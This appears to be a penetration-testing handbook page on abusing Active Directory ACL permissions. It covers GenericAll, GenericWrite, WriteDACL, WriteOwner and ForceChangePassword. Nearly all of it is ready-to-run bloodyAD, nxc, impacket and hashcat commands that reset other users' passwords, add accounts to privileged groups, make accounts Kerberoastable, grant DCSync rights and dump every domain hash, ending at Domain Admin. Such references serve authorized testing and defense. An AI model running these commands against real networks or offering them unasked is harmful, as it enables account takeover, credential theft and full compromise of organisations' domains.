Handbook

ACL Abuse

Updated 29 Sept 2026Services✎ Suggest a change
On this page

Prerequisites

  • Low-privilege domain credentials
  • BloodHound data collected and imported, confirms which ACL paths exist

ACL Rights Reference

RightObjectsWhat It Enables
GenericAllUser, Group, Computer, DomainFull control: password reset, group add, modify any attribute
GenericWriteUser, Group, ComputerWrite non-protected attributes ie .SPN, logon script
WriteDACLAny objectModify the ACL - grant yourself GenericAll
WriteOwnerAny objectTake ownership - then modify ACL
ForceChangePasswordUserReset password without knowing current one
AddMember / SelfGroupAdd any account to the group
DCSync RightsDomain objectReplicate all domain hashes

Attack Flow

plain text
BloodHound → identify ACL misconfiguration from owned account
→ identify right type + target object
→ exploit (reset password / add to group / grant DCSync / set SPN)
→ authenticate as privileged account or DCSync
→ Domain Admin

Tool: bloodyAD

bash
pip install bloodyAD

Scenario 1 - GenericAll on a User

bash
bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    set password '<target-user>' '<new-password>'

# Via nxc
nxc smb <dc-ip> -u <username> -p <password> -d <domain.local> \
    --password-not-required \
    -x "net user <target-user> <new-password> /domain"

nxc smb <subnet>/24 -u <target-user> -p <new-password> -d <domain.local>

Scenario 2 - GenericAll / AddMember on a Group

bash
bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    add groupMember '<target-group>' '<username-to-add>'

nxc ldap <dc-ip> -u <username> -p <password> --groups | grep '<target-group>'

nxc smb <dc-ip> -u <username-to-add> -p <password> -d <domain.local>

Scenario 3 - GenericWrite on a User

bash
# Set SPN — make account Kerberoastable
bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    set object '<target-user>' servicePrincipalName -v 'fake/spn.<domain.local>'

impacket-GetUserSPNs '<domain.local>/<username>:<password>' \
    -dc-ip <dc-ip> -request -outputfile genericwrite_kerberoast.txt

hashcat -m 13100 genericwrite_kerberoast.txt <wordlist>

Scenario 4 - WriteDACL on an Object

bash
# Grant DCSync rights via WriteDACL on Domain object
bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    add dcsync '<username>'

nxc ldap <dc-ip> -u <username> -p <password> -M daclread -o TARGET=<domain.local>

impacket-secretsdump '<domain.local>/<username>:<password>@<dc-ip>' -just-dc

Scenario 5 - WriteOwner on an Object

bash
bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    set owner '<target-object>' '<username>'

bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    add dcsync '<username>'

Scenario 6 - ForceChangePassword on a User

bash
bloodyAD \
    -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    set password '<target-user>' '<new-password>'

nxc smb <subnet>/24 -u <target-user> -p <new-password> -d <domain.local>

Scenario 7 - GenericAll on a Computer Object

bash
# Configure RBCD — full chain in RBCD notes
impacket-rbcd \
    -delegate-to '<target-computer>$' \
    -delegate-from '<attacker-machine>$' \
    -action write \
    '<domain.local>/<username>:<password>' \
    -dc-ip <dc-ip>

Enumerating ACLs Manually

bash
bloodyAD -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> get writable

bloodyAD -u '<username>' -p '<password>' -d '<domain.local>' --host <dc-ip> \
    get object '<target-object>' --attr nTSecurityDescriptor

nxc ldap <dc-ip> -u <username> -p <password> -M daclread -o TARGET=<target-object>

BloodHound ACL Queries

plain text
Find Shortest Paths to Domain Admins via ACL Abuse
Principals with DCSync Rights
Find Principals with GenericAll on Domain
Find Principals with WriteDACL on Domain
Find Principals with GenericWrite on Users
Shortest Paths from Owned Principals

What Each Finding Tells You

FindingImplication
GenericAll on Domain Admins groupAdd controlled account to DA
GenericAll on a userReset password, authenticate as them
WriteDACL on Domain objectGrant DCSync, dump all hashes
GenericWrite on a userSet SPN, Kerberoast
ForceChangePassword on DAReset DA password directly
WriteOwner on privileged objectTake ownership, grant GenericAll, exploit
GenericAll on computerConfigure RBCD, impersonate DA